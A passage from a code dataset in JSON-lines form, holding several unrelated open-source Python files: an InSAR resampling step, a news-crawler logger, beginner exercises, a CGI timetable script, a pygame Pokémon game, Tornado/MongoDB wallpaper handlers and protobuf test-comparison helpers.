self.insar.rangeOffsetFilename)\n# ****************** End of Modification\n \n # rgoffname = os.path.join( self.insar.offsetsDirname, self.insar.rangeOffsetFilename)\n azpoly = self.insar.loadProduct( os.path.join(self.insar.misregDirname, self.insar.misregFilename) + '_az.xml')\n rgpoly = self.insar.loadProduct( os.path.join(self.insar.misregDirname, self.insar.misregFilename) + '_rg.xml')\n\n\n imageSlc2 = os.path.join(self.insar.splitSpectrumDirname, self.insar.lowBandSlcDirname, \n os.path.basename(secondaryFrame.getImage().filename))\n\n wvlL = self.insar.lowBandRadarWavelength\n coregDir = os.path.join(self.insar.coregDirname, self.insar.lowBandSlcDirname)\n \n lowbandCoregFilename = resampleSlc(self,referenceFrame, secondaryFrame, imageSlc2, wvlL, coregDir,\n azoffname, rgoffname, azpoly=azpoly, rgpoly=rgpoly,misreg=False)\n\n imageSlc2 = os.path.join(self.insar.splitSpectrumDirname, self.insar.highBandSlcDirname,\n os.path.basename(secondaryFrame.getImage().filename))\n wvlH = self.insar.highBandRadarWavelength\n coregDir = os.path.join(self.insar.coregDirname, self.insar.highBandSlcDirname)\n\n highbandCoregFilename = resampleSlc(self,referenceFrame, secondaryFrame, imageSlc2, wvlH, coregDir, \n azoffname, rgoffname, azpoly=azpoly, rgpoly=rgpoly, misreg=False)\n\n self.insar.lowBandSlc2 = lowbandCoregFilename\n self.insar.highBandSlc2 = highbandCoregFilename\n \n","repo_name":"isce-framework/isce2","sub_path":"components/isceobj/StripmapProc/runResampleSubbandSlc.py","file_name":"runResampleSubbandSlc.py","file_ext":"py","file_size_in_byte":5961,"program_lang":"python","lang":"en","doc_type":"code","stars":431,"dataset":"github-code","pt":"82"} +{"seq_id":"1950601808","text":"# coding: utf-8\n\nfrom News.database import Monitor\nfrom News.database import session\n\n\ndef _record_error_log(item, error):\n m = Monitor(\n crawl_url=item[\"crawl_url\"],\n original_url=item[\"original_url\"],\n crawl_source=item[\"crawl_source\"],\n original_source=item[\"original_source\"],\n channel=item[\"channel\"],\n error=error,\n )\n try:\n session.add(m)\n session.commit()\n except Exception as e:\n session.rollback()\n","repo_name":"xiaol/NewsCrawlerPG","sub_path":"News/test/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40138059690","text":"'''Cree una función que retorne el número de palabras\npresentes en un String que le llega cómo parámetro.\n\n(obs: considere que toda palabra válida está separada\npor un espacio de la anterior)'''\n\ndef NumeroDePalabras():\n Oracion=input('Digite una oracion: ')\n\n if Oracion.isdigit():\n while True:\n print('No se admiten numeros...')\n Oracion=input('Digite una oracion: ')\n if not Oracion.isdigit():\n break\n\n espacios=Oracion.split(' ')\n print(len(espacios))\n\n\nNumeroDePalabras()","repo_name":"JPerez1005/Python","sub_path":"C/C1/Practicas Homework/5Funciones/NumeroDePalabras.py","file_name":"NumeroDePalabras.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34223387221","text":"FONT = (\"--X--XXX-XXX-X-X-XXX--XX-XXX-XXX--XX-XX--\"\n \"-XX----X---X-X-X-X---X-----X-X-X-X-X-X-X-\"\n \"--X---XX--X--XXX-XX--XXX--X--XXX-XXX-X-X-\"\n \"--X--X-----X---X---X-X-X-X---X-X---X-X-X-\"\n \"--X--XXX-XXX---X-XX---XX-X---XXX-XX---XX-\")\n\nfrom pprint import pprint \n\ndef divide_font(FONT):\n numbers = [FONT[num:num+40] for num in range(0,len(FONT), 41)]\n #pprint (numbers)\n num_arr = []\n for i in range(0,len(numbers[0]),4):\n a = [j[i:i+4] for j in numbers]\n a = [j for i in a for j in i]\n a = map(lambda x : 0 if x == '-' else 1, a)\n num_arr.append(a)\n #pprint(a)\n #print '\\n'\n #pprint(num_arr)\n #print len(num_arr)\n last = num_arr.pop()\n num_arr.insert(0, last)\n #num_arr[-1] + num_arr[:-1] \n pprint (num_arr)\n return num_arr\n\ndef checkio(image):\n num_img = ''\n numbers = divide_font(FONT)\n for i in range(0,len(image[0])-1,4):\n num = [j[i:i+4] for j in image]\n num = [j for i in num for j in i]\n #print num \n #print '\\n'\n for j,i in enumerate(numbers):\n #sum(k[0]!=k[1] for k in zip(num,i))\n if sum(k[0]!=k[1] for k in zip(num,i)) < 2 :\n #print sum(k[0]!=k[1] for k in zip(num,i))\n #print zip(num,i) \n #print 'bingo'\n #print j+1\n num_img += str(j)\n #print num_img\n return int(num_img)\n\nif __name__ == '__main__':\n #These \"asserts\" using only for self-checking and not necessary for auto-testing\n assert checkio([[0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0],\n [0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0],\n [0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0],\n [0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0],\n [0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0]]) == 394, \"394 clear\"\n assert checkio([[0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0],\n [0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0],\n [0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0],\n [0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0],\n [0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0]]) == 394, \"again 394 but with noise\"\n","repo_name":"a1ip/checkio-17","sub_path":"mono-captcha.py","file_name":"mono-captcha.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41519780965","text":"#!/usr/bin/python\nprint('Content-type: text/html\\n')\n\n'''\n\nSynergetic Lite\n\nremovePeriodReservation.py\n\nAllows the user to \"un-reserve\" a period for all students and teachers in a class.\n\nBy Nick Patrikeos on 22DEC17\n\n'''\n\nimport cgi\nimport cgitb; cgitb.enable()\nimport sqlite3\nfrom dbFunctions import *\nimport random\n\nform = cgi.FieldStorage()\nperiodNum = form.getvalue('periodNum')\nclassID = form.getvalue('classID')\nvalues = {'classID':classID, 'periodNum':periodNum}\n\ndb = sqlite3.connect('synergetic.db')\ncursor = db.cursor()\ncursor.execute('PRAGMA foreign_keys = ON')\n\ncursor.execute('SELECT Teacher FROM Classes WHERE Class_ID = :classID', values)\nteacherID = cursor.fetchall()[0][0]\n\nprint('')\n\ncursor.execute('DELETE FROM TeacherPeriods WHERE Class = :classID AND Period_Num = :periodNum', values)\n\ncursor.execute('SELECT Student FROM Enrolments WHERE Class = :classID', values)\nstudents = [i[0] for i in cursor.fetchall()]\n\nfor student in students:\n values['studentID'] = student\n cursor.execute('DELETE FROM StudentPeriods WHERE Class = :classID AND Student = :studentID AND Period_Num = :periodNum', values)\n\n\nprint('')\ndb.commit()\ndb.close()\n","repo_name":"NicktheGreek1985/PythonCGIProjects","sub_path":"Synergetic Lite/removePeriodReservation.py","file_name":"removePeriodReservation.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30672563012","text":"\r\nimport random\r\nimport pygame\r\nimport math\r\nfrom pygame import mixer\r\n\r\npygame.init()\r\nmixer.init()\r\n\r\n# create the screen\r\nscreen=pygame.display.set_mode((800,600))\r\n#icon and title\r\npygame.display.set_caption(\"pokecapture\")\r\nicon=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\pokeball.png\")\r\npygame.display.set_icon(icon)\r\n\r\n#background\r\nbg=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\bg1.png\")\r\n\r\n# player\r\npokeball=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\pokeball.png\")\r\nplayerImg=pokeball\r\nplayerX=374\r\nplayerY=536\r\nplayerX_change=0\r\ndef player(x,y):\r\n screen.blit(playerImg,(x,y))\r\n#sound\r\nmixer.music.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\bgsound.wav\")\r\nmixer.music.play(-1)\r\n #score\r\nscore=0\r\nfont=pygame.font.SysFont('inkfree.ttf',40)\r\ntextX=10\r\ntextY=10\r\n\r\ndef show_score():\r\n score1=font.render('SCORE:'+str(score),True, (0,0,0))\r\n screen.blit(score1,(30,30))\r\n#pokemons\r\nbullbasaur=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\bullbasaur.png\")\r\ncharmander=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\charmander.png\")\r\ndratini=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\dratini.png\")\r\neevee=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\eevee.png\")\r\njigglypuff=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\jigglypuff.png\")\r\nmeowth=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\meowth (2).png\")\r\npikachu=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\pikachu.png\")\r\npsyduck=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\psyduck.png\")\r\nsnorlax=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\snorlax.png\")\r\nsquirtle=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\squirtle.png\")\r\npoke=[bullbasaur,charmander,dratini,eevee,jigglypuff,meowth,pikachu,psyduck,snorlax,squirtle]\r\n\r\npokeImg=[meowth,pikachu]\r\npokeX=[]\r\npokeY=[]\r\npokeY_change=[1,1]\r\nfor i in range(8):\r\n n=random.randint(0,9)\r\n poke1=poke[n]\r\n pokeImg.append(poke1)\r\n pokeX.append(random.randint(0,768))\r\n pokeY.append(random.randint(-80,400))\r\n \r\n pokeY_change.append(1)\r\nfor i in range (2):\r\n pokeX.append(random.randint(0,768))\r\n pokeY.append(random.randint(-80,400))\r\ndef pokemon(x,y,i,l):\r\n screen.blit(l[i],(x,y))\r\n#collision\r\ndef collision(x,y,playerX,playerY):\r\n dist=math.sqrt((math.pow(x-playerX,2))+(math.pow(y-playerY,2)))\r\n if dist<=27:\r\n return True\r\n\r\n#game over\r\nover_font=pygame.font.SysFont('inkfree.ttf',60)\r\ndef gameover():\r\n overtext=over_font.render(\"GAME OVER\",True,(0,0,0))\r\n screen.blit(overtext,(190,300))\r\n screen.blit(pokeball,(130,400))\r\n#game loop\r\n\r\nrunning=True\r\nwhile running:\r\n \r\n screen.fill((0,0,0))\r\n screen.blit(bg,(0,0))\r\n for event in pygame.event.get(): \r\n if event.type==pygame.QUIT:\r\n running=False\r\n if event.type==pygame.KEYDOWN:\r\n if event.key==pygame.K_LEFT:\r\n playerX_change=-3\r\n if event.key==pygame.K_RIGHT:\r\n playerX_change=3\r\n if event.type==pygame.KEYUP:\r\n playerX_change=0\r\n \r\n playerX+=playerX_change\r\n if playerX<=0:\r\n playerX=0\r\n elif playerX>=736:\r\n playerX=736\r\n player(playerX,playerY)\r\n#show score\r\n \r\n for i in range(10):\r\n pokeY[i]+=pokeY_change[i]\r\n \r\n pokemon(pokeX[i],pokeY[i],i,pokeImg)\r\n col=collision(pokeX[i],pokeY[i],playerX,playerY)\r\n\r\n if pokeY[i]>=600:\r\n pokeY[i]=random.randint(-20,40)\r\n pokeX[i]=random.randint(0,768)\r\n if col:\r\n char=pokeImg[i]\r\n if char==pikachu:\r\n np=random.randint(0,9)\r\n pokeX[i]=random.randint(0,736)\r\n pokeY[i]=random.randint(0,40)\r\n pokemon(pokeX[i],pokeY[i],np,poke)\r\n cap=mixer.Sound(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\capture.wav\")\r\n cap.play()\r\n score+=5\r\n elif char==meowth:\r\n for i in range(10):\r\n screen.fill((34,34,34))\r\n gameover()\r\n \r\n running=False\r\n else:\r\n np=random.randint(0,9)\r\n pokeX[i]=random.randint(0,736)\r\n pokeY[i]=random.randint(0,40)\r\n pokemon(pokeX[i],pokeY[i],np,poke)\r\n cap=mixer.Sound(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\capture.wav\")\r\n cap.play()\r\n \r\n score+=5\r\n np=random.randint(0,9)\r\n pokeX[i]=random.randint(0,736)\r\n pokeY[i]=random.randint(0,40)\r\n pokemon(pokeX[i],pokeY[i],np,poke)\r\n cap=mixer.Sound(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\capture.wav\")\r\n cap.play()\r\n \r\n show_score()\r\n\r\n\r\n#Run=True\r\n\r\n \r\n\r\n pygame.display.update()\r\n","repo_name":"Mystic-miracle/Pokecapture","sub_path":"G!.py","file_name":"G!.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2999263502","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nimport re\nimport urllib\nimport json\nimport base64\nimport random\nimport datetime\nimport tornado\nfrom db import mongo\nfrom db import live_mongo\nfrom db import theme_mongo\nfrom pymongo import DESCENDING, ASCENDING\nfrom bson import objectid\nfrom libs import BaseHandler\nfrom conf import config\n\nnewlist = ['4e4d610cdf714d2966000002','4fb479f75ba1c65561000027','4e4d610cdf714d2966000003','4fb47a305ba1c60ca5000223','4ef0a35c0569795756000000','4e4d610cdf714d2966000001'] #风景、视觉、动漫、城市、情感、动物\nhotlist = ['4e4d610cdf714d2966000000','4e4d610cdf714d2966000002','4fb479f75ba1c65561000027','4fb47a465ba1c65561000028','4e4d610cdf714d2966000006','4e58c2570569791a19000000'] #美女、风景、视觉、物语、男人、影视\n\n\nclass CommendHandler(BaseHandler):\n def get(self):\n weekpaper = None #recommend paper at week\n weeklive = None # recommend live at week\n adimage = None\n\n #newest paper\n nlist = []\n for i in newlist:\n cid = objectid.ObjectId(i)\n img = mongo.image.find({'cid':cid},limit=1).sort('atime', DESCENDING)\n if img.count()>0:\n nlist.append(img[0])\n\n #hot paper\n try:\n _imglist, length = self.hot_image_cache.find_list(config.Cache.hot_image_cache, 0, 5)\n if _imglist:\n imglist = [json.loads(i) for i in _imglist]\n else:\n imglist = mongo.image.find(limit=6,skip=0).sort('rank',DESCENDING)\n except:\n imglist = mongo.image.find(limit=6,skip=0).sort('rank',DESCENDING)\n\n self.render(\"commend.html\",\n context=self.context,\n news=nlist,\n hots=imglist,\n )\n\n\nclass NewCommendHandler(BaseHandler):\n def get(self):\n self.render(\"newcommend.html\",\n context=self.context,\n )\n\nclass MoreNewPaperHandler(BaseHandler):\n def get(self):\n limit = 18\n skip = self.get_argument(\"skip\",default=0)\n try:\n skip = int(skip)\n except:\n skip = 0\n\n imglist = mongo.image.find(limit=limit,skip=skip).sort('atime',DESCENDING)\n images = []\n index = skip\n for i in imglist:\n if not self.session.hd:\n netimg = str(i['thumb_fobj'])\n elif self.session.net=='pc':\n netimg = str(i['fobjs']['640x480'])\n else: # self.session.net=='wifi':\n netimg = str(i['fobjs']['160x120'])\n\n images.append({\n 'id':str(i['_id']),\n 'image':netimg,\n 'skip':index\n })\n index += 1\n\n self._buffer = json.dumps({'code':0,'resp':images})\n callback = self.get_argument('jsoncallback', default=None)\n if callback:\n self._buffer = \"%s(%s)\" % (callback,self._buffer)\n self.write(self._buffer)\n\nclass MoreNewLiveHandler(BaseHandler):\n def get(self):\n limit = 9 \n skip = self.get_argument(\"skip\",default=0)\n try:\n skip = int(skip)\n except:\n skip = 0\n\n apklist = live_mongo.apk.find(skip=skip,limit=limit).sort('atime',DESCENDING)\n lives = []\n index = skip\n for i in apklist:\n lives.append({\n 'id':str(i['_id']),\n 'thumbid':str(i['thumbid'][0]),\n 'skip':index\n })\n index += 1\n\n self._buffer = json.dumps({'code':0,'resp':lives})\n callback = self.get_argument('jsoncallback', default=None)\n if callback:\n self._buffer = \"%s(%s)\" % (callback,self._buffer)\n self.write(self._buffer)\n\nclass NewPaperDetailHandler(BaseHandler):\n def get(self):\n imgid = self.get_argument(\"imgid\",default=None)\n _skip = self.get_argument(\"skip\",default=0)\n ctype = self.get_argument(\"type\",default=\"date\")\n showmsg = self.session.show_msg\n self.session.show_msg = None\n\n try:\n skip=int(_skip)\n if skip < 0:\n skip = 0\n _skip = None\n except:\n skip=0\n\n img=None\n read_from_cache = False\n\n try:\n if _skip:\n if ctype=='date':\n img = mongo.image.find(skip=skip,limit=1).sort('atime',DESCENDING)[0]\n else:\n try:\n img = self.hot_image_cache.find_one(config.Cache.hot_image_cache, skip)\n if img:\n read_from_cache = True\n img = json.loads(img)\n else:\n img = mongo.image.find(skip=skip,limit=1).sort('rank',DESCENDING)[0]\n except:\n img = mongo.image.find(skip=skip,limit=1).sort('rank',DESCENDING)[0]\n\n else:\n iid = objectid.ObjectId(imgid)\n img = mongo.image.find_one({'_id':iid})\n if not img:\n raise\n except:\n raise\n return self.notfound()\n\n front = skip - 1\n end = skip + 1\n\n if not read_from_cache:\n if end>=mongo.image.count():\n end = -1\n else:\n if not self.hot_image_cache.find_one(config.Cache.hot_image_cache, end):\n end = -1\n\n if _skip == None:\n front = -1\n end = -1\n\n referer = urllib.quote(self.request.uri)\n isfav=-1\n if self.session.uid:\n pri=mongo.private.find_one({'uid':self.session.uid,'imgid': img['_id']})\n if pri:\n isfav=1\n else:\n isfav=0\n\n tags = mongo.img2tag.find({'imgid': objectid.ObjectId(img['_id'])}).sort('num', DESCENDING)\n tags = [i for i in tags]\n self.render(\"compaper_detail.html\",\n context=self.context,\n image=img,\n front=front,\n end=end,\n isfav=isfav,\n referer=referer,\n tags=tags,\n message=showmsg,\n type=ctype,\n )\n\nclass NewLiveDetailHandler(BaseHandler):\n def get(self):\n apkid = self.get_argument(\"apkid\",default=None)\n skip = self.get_argument(\"skip\",default=0)\n ctype = self.get_argument(\"type\", default=\"date\")\n\n try:\n skip=int(skip)\n except:\n skip=0\n\n apk=None\n try:\n if apkid==None:\n if ctype=='date':\n apks=live_mongo.apk.find(skip=skip,limit=1).sort('atime',DESCENDING)\n else:\n apks=live_mongo.apk.find(skip=skip,limit=1).sort('rank',DESCENDING)\n\n try:\n apk=apks[0]\n pid=apk['_id']\n except:\n raise\n else:\n pid = objectid.ObjectId(apkid)\n apk = live_mongo.apk.find_one({'_id':pid})\n if not apk:\n raise\n except:\n return self.notfound()\n\n #cal mark\n marks = live_mongo.mark2apk.find({'apkid':apk['_id']})\n msum = 0.0\n mcount = 0\n for m in marks:\n msum += m['mark']\n mcount += 1\n score = 0\n if mcount>0:\n score = round(msum/mcount)\n score = int(score)\n\n\n front = skip-1\n end = skip+1\n if end>=live_mongo.apk.count():\n end = -1\n\n referer = urllib.quote(self.request.uri)\n isfav=-1\n if self.session.uid:\n pri=live_mongo.private.find_one({'uid':self.session.uid,'apkid':pid})\n if pri:\n isfav=1\n else:\n isfav=0\n\n self.render(\"comlive_detail.html\",\n context=self.context,\n apk=apk,\n front=front,\n end=end,\n favstate=isfav,\n referer=referer,\n score=score,\n amount=mcount,\n type=ctype,\n )\n\nclass HotCommendHandler(BaseHandler):\n def get(self):\n self.render(\"hotcommend.html\",\n context=self.context,\n )\n\nclass MoreHotPaperHandler(BaseHandler):\n def get(self):\n limit = 18\n skip = self.get_argument(\"skip\",default=0)\n try:\n skip = int(skip)\n except:\n skip = 0\n\n try:\n _imglist, length = self.hot_image_cache.find_list(config.Cache.hot_image_cache, skip, limit-1)\n if _imglist:\n imglist = [json.loads(i) for i in _imglist]\n else:\n imglist = mongo.image.find(limit=limit,skip=skip).sort('rank',DESCENDING)\n except:\n imglist = mongo.image.find(limit=limit,skip=skip).sort('rank',DESCENDING)\n\n\n images = []\n index = skip\n for i in imglist:\n if not self.session.hd:\n netimg = str(i['thumb_fobj'])\n elif self.session.net=='pc':\n netimg = str(i['fobjs']['640x480'])\n else: # self.session.net=='wifi':\n netimg = str(i['fobjs']['160x120'])\n\n images.append({\n 'id':str(i['_id']),\n 'image':netimg,\n 'skip':index\n })\n index += 1\n\n self._buffer = json.dumps({'code':0,'resp':images})\n callback = self.get_argument('jsoncallback', default=None)\n if callback:\n self._buffer = \"%s(%s)\" % (callback,self._buffer)\n self.write(self._buffer)\n\nclass MoreHotLiveHandler(BaseHandler):\n def get(self):\n limit = 9\n skip = self.get_argument(\"skip\",default=0)\n try:\n skip = int(skip)\n except:\n skip = 0\n\n apklist = live_mongo.apk.find(skip=skip,limit=limit).sort('rank',DESCENDING)\n lives = []\n index = skip\n for i in apklist:\n lives.append({\n 'id':str(i['_id']),\n 'thumbid':str(i['thumbid'][0]),\n 'skip':index\n })\n index += 1\n\n self._buffer = json.dumps({'code':0,'resp':lives})\n callback = self.get_argument('jsoncallback', default=None)\n if callback:\n self._buffer = \"%s(%s)\" % (callback,self._buffer)\n self.write(self._buffer)\n\n","repo_name":"zytjm/tornado-mongo-based-webserver","sub_path":"mobile_server/app/commend.py","file_name":"commend.py","file_ext":"py","file_size_in_byte":10616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28785151500","text":"import copy\nfrom typing import Optional, Union\nimport unittest\nfrom google.protobuf import descriptor\nfrom google.protobuf import message\nfrom google.protobuf import text_format\n\n\ndef _clear_field(proto: message.Message, field_path: str) -> None:\n \"\"\"Clears field_path in proto.\n\n field_path contains field names separated by '.' into the proto, e.g.,\n my_sub_message.my_repeated_field.my_field.\n A field is removed by calling ClearField.\n\n Args:\n proto: A proto message to be modified.\n field_path: The path to the field to be cleared.\n \"\"\"\n\n next_field_name, _, path_suffix = field_path.partition(\".\")\n if next_field_name not in proto.DESCRIPTOR.fields_by_name:\n raise ValueError(\n f\"Field {next_field_name} in field path {field_path} does not refer to\"\n f\" a known field for message {proto.DESCRIPTOR.full_name}.\"\n )\n\n # root case, field_path was just a field\n if not path_suffix:\n proto.ClearField(next_field_name)\n return\n\n # next_field can refer to:\n # - a submessage (or oneof of submessages)\n # - a repeated field of messages\n next_field: descriptor.FieldDescriptor = proto.DESCRIPTOR.fields_by_name[\n next_field_name\n ]\n if next_field.type != descriptor.FieldDescriptor.TYPE_MESSAGE:\n raise ValueError(\n f\"Field {next_field_name} in field path {field_path} does not refer to\"\n f\" a message field for message {proto.DESCRIPTOR.full_name}.\"\n )\n\n if next_field.label == descriptor.FieldDescriptor.LABEL_REPEATED:\n sub_field_list = getattr(proto, next_field_name)\n for sub_message in sub_field_list:\n _clear_field(sub_message, path_suffix)\n return\n\n if not proto.HasField(next_field_name):\n return\n sub_message = getattr(proto, next_field_name)\n _clear_field(sub_message, path_suffix)\n\n\ndef _sort_repeated_fields(proto: message.Message, deduplicate: bool) -> None:\n \"\"\"Sorts all repeated fields including in submessages.\n\n This is typically called to have a canonical order of repeated fields in the\n message for comparison. Thus no particular order is guaranteed, but only that\n the order is deterministic for multiple calls on equal messages.\n\n Args:\n proto: A proto message to be modified.\n deduplicate: Determines if duplicate elements in repeated fields should be\n removed.\n \"\"\"\n\n # recurse first, then sort\n field: descriptor.FieldDescriptor\n for field in proto.DESCRIPTOR.fields:\n if field.type != descriptor.FieldDescriptor.TYPE_MESSAGE:\n continue\n # At this point field can be\n # - just a single message\n # - a repeated field (list) of messages\n # - a map to a scalar value\n # - a map to message values\n if field.label == descriptor.FieldDescriptor.LABEL_REPEATED:\n sub_field_list = getattr(proto, field.name)\n\n if (\n field.type == descriptor.FieldDescriptor.TYPE_MESSAGE\n and field.message_type.has_options\n and field.message_type.GetOptions().map_entry\n and field.message_type.fields_by_name[\"value\"].type\n != descriptor.FieldDescriptor.TYPE_MESSAGE\n ):\n # this is a map to build in types (not to message) - nothing to recurse\n continue\n\n if (\n field.type == descriptor.FieldDescriptor.TYPE_MESSAGE\n and field.message_type.has_options\n and field.message_type.GetOptions().map_entry\n ):\n # this is a map to messages\n for _, sub_message in sub_field_list.items():\n _sort_repeated_fields(sub_message, deduplicate)\n else:\n # this is just a repeated field of messages\n for sub_message in sub_field_list:\n _sort_repeated_fields(sub_message, deduplicate)\n elif proto.HasField(field.name):\n # a single message field\n sub_message = getattr(proto, field.name)\n _sort_repeated_fields(sub_message, deduplicate)\n\n # now, sort each field, where sub-fields are already sorted (and thus\n # canonical)\n for field in proto.DESCRIPTOR.fields:\n if field.label != descriptor.FieldDescriptor.LABEL_REPEATED:\n continue\n\n if (\n field.type == descriptor.FieldDescriptor.TYPE_MESSAGE\n and field.message_type.has_options\n and field.message_type.GetOptions().map_entry\n ):\n continue # do not sort maps\n\n sub_field_list = getattr(proto, field.name)\n if not sub_field_list:\n continue\n\n if field.type == descriptor.FieldDescriptor.TYPE_MESSAGE:\n key_fn = text_format.MessageToString\n else:\n key_fn = lambda x: x\n sub_field_list.sort(key=key_fn)\n sub_field_list_no_duplicates = []\n prev = None\n for sub_msg in sub_field_list:\n if not deduplicate or (prev is None or key_fn(prev) != key_fn(sub_msg)):\n sub_field_list_no_duplicates.append(sub_msg)\n prev = sub_msg\n del sub_field_list[:]\n sub_field_list.extend(sub_field_list_no_duplicates)\n\n\ndef _floats_in_tolerance(value_a: float, value_b: float, rtol: float) -> bool:\n return abs(value_a - value_b) <= rtol * max(abs(value_a), abs(value_b))\n\n\ndef _equalize_floats_in_tolerance(\n proto_a: message.Message, proto_b: message.Message, rtol: float\n) -> None:\n \"\"\"Replaces all floats in proto_a with floats from proto_b, if both are in rtol.\n\n All equivalent floating point values (floats and doubles) in proto_a will be\n replaced by the exact values from proto_b, such that there will be no more\n difference between these two messages regarding floats within rtol. This is\n typically called to facilitate a readable diff including non-float fields.\n\n Args:\n proto_a: A proto message to be modified.\n proto_b: A given proto message.\n rtol: A relative tolerance defining if the floats are considered equivalent.\n rtol is considered as a proportion of the float with the larger magnitude.\n \"\"\"\n if proto_a.DESCRIPTOR != proto_b.DESCRIPTOR:\n return\n\n # Relevant fields to be handled by this function.\n # Directly:\n # - floats (float and double)\n # - repeated floats\n # - map to float\n # By recursion:\n # - message fields\n # - repeated messages\n # - map to messages\n proto_a_field_names = set(fd.name for fd, _ in proto_a.ListFields())\n proto_b_field_names = set(fd.name for fd, _ in proto_b.ListFields())\n for field_name in proto_a_field_names.intersection(proto_b_field_names):\n field: descriptor.FieldDescriptor = proto_a.DESCRIPTOR.fields_by_name[\n field_name\n ]\n\n value_a = getattr(proto_a, field.name)\n value_b = getattr(proto_b, field.name)\n\n if (\n field.type == descriptor.FieldDescriptor.TYPE_FLOAT\n or field.type == descriptor.FieldDescriptor.TYPE_DOUBLE\n ):\n if field.label != descriptor.FieldDescriptor.LABEL_REPEATED:\n # field is just a float\n if _floats_in_tolerance(value_a, value_b, rtol):\n setattr(proto_a, field.name, value_b)\n else:\n # field is a list of floats\n for index in range(min(len(value_a), len(value_b))):\n if _floats_in_tolerance(value_a[index], value_b[index], rtol):\n value_a[index] = value_b[index]\n\n if field.type != descriptor.FieldDescriptor.TYPE_MESSAGE:\n continue\n\n if field.label == descriptor.FieldDescriptor.LABEL_REPEATED:\n if (\n field.message_type.has_options\n and field.message_type.GetOptions().map_entry\n ):\n value_type = field.message_type.fields_by_name[\"value\"]\n # field is a map\n for key, mapped_value_a in value_a.items():\n mapped_value_b = value_b.get(key)\n if mapped_value_b is None:\n continue\n if (\n value_type.type == descriptor.FieldDescriptor.TYPE_FLOAT\n or value_type.type == descriptor.FieldDescriptor.TYPE_DOUBLE\n ):\n # field is a map to floats\n if _floats_in_tolerance(mapped_value_a, mapped_value_b, rtol):\n value_a[key] = mapped_value_b\n elif value_type.type == descriptor.FieldDescriptor.TYPE_MESSAGE:\n # field is a map to messages - recurse\n _equalize_floats_in_tolerance(\n mapped_value_a, mapped_value_b, rtol=rtol\n )\n else:\n # field is a list of messages - recuse\n for sub_message_a, sub_message_b in zip(value_a, value_b):\n _equalize_floats_in_tolerance(sub_message_a, sub_message_b, rtol=rtol)\n else:\n # field is just a single message - recurse\n _equalize_floats_in_tolerance(value_a, value_b, rtol=rtol)\n\n\n# pylint:disable-next=invalid-name\ndef assertProto2Equal(\n testobj: unittest.case.TestCase,\n proto_a: Union[message.Message, str, bytes],\n proto_b: message.Message,\n *,\n ignored_fields: Optional[list[str]] = None,\n rtol: Optional[float] = None,\n) -> None:\n \"\"\"Asserts that two protos are equal.\n\n Args:\n testobj: The test case that called this comparison.\n proto_a: A proto to compare.\n proto_b: A proto to compare to.\n ignored_fields: List of field paths into the proto to be ignored during\n comparison.\n rtol: Relative tolerance to compare floating point values. If not set,\n floats are compared using string comparison.\n \"\"\"\n\n if isinstance(proto_a, str | bytes):\n proto_a = text_format.Parse(proto_a, proto_b.__class__())\n\n copied = False\n if ignored_fields is not None:\n proto_a = copy.deepcopy(proto_a)\n proto_b = copy.deepcopy(proto_b)\n copied = True\n for field_path in ignored_fields:\n _clear_field(proto_a, field_path)\n _clear_field(proto_b, field_path)\n\n if rtol is not None:\n if not copied:\n proto_a = copy.deepcopy(proto_a)\n proto_b = copy.deepcopy(proto_b)\n _equalize_floats_in_tolerance(proto_a, proto_b, rtol)\n\n txt_a = text_format.MessageToString(proto_a)\n txt_b = text_format.MessageToString(proto_b)\n testobj.assertMultiLineEqual(txt_a, txt_b)\n\n\n# pylint:disable-next=invalid-name\ndef assertProto2Contains(\n 